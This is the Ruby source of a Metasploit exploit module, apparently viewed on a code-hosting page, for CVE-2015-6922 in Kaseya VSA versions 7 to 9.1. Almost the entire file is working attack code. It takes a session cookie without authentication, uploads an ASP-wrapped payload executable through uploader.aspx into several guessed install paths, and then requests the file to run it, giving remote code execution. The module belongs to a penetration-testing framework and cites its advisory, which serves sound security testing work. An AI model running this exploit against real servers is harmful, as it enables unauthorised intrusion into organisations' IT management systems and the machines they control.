metasploit-framework/modules/exploits/windows/http/kaseya_uploader.rb

125 lines
3.6 KiB
Ruby
Raw Normal View History

2015-09-29 10:56:34 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between
7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory
leading to arbitrary code execution with IUSR privileges. This module has been tested with
Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6922'],
['ZDI', '15-449'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
['URL', 'TODO_FULLDISC_URL']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Targets' =>
[
[ 'Kaseya VSA v7 to v9.1', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 23 2015'))
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})
if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Unknown
end
end
def upload_file(payload, path, filename, sessionId)
print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...")
res = send_request_cgi({
"method" => "POST",
'uri' => normalize_uri('ConfigTab','uploader.aspx'),
"vars_get" => {
"PathData" => path + 'WebPages' + '\\',
"qqfile" => filename
},
"data" => payload,
"ctype" => "application/octet-stream",
"cookie" => "sessionId=" + sessionId
})
if res and res.code == 200 and res.body.to_s =~ /"success": "true"/
return true
else
return false
end
end
def exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})
if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
sessionId = $1
asp_name = "#{rand_text_alpha_lower(8)}.asp"
exe = generate_payload_exe
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
paths = [
# We have to guess the path, so just try the most common directories
'C:\\Kaseya\\',
'C:\\Program Files\\Kaseya\\',
'C:\\Program Files (x86)\\Kaseya\\',
'D:\\Kaseya\\',
'D:\\Program Files\\Kaseya\\',
'D:\\Program Files (x86)\\Kaseya\\',
'E:\\Kaseya\\',
'E:\\Program Files\\Kaseya\\',
'E:\\Program Files (x86)\\Kaseya\\',
]
for path in paths
if upload_file(payload, path, asp_name, sessionId)
register_files_for_cleanup(path + "WebPages\\" + asp_name)
print_status("#{peer} - Executing payload #{asp_name}")
res = send_request_cgi({
'uri' => normalize_uri(asp_name),
'method' => 'GET'
})
handler
break
end
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
end
end
end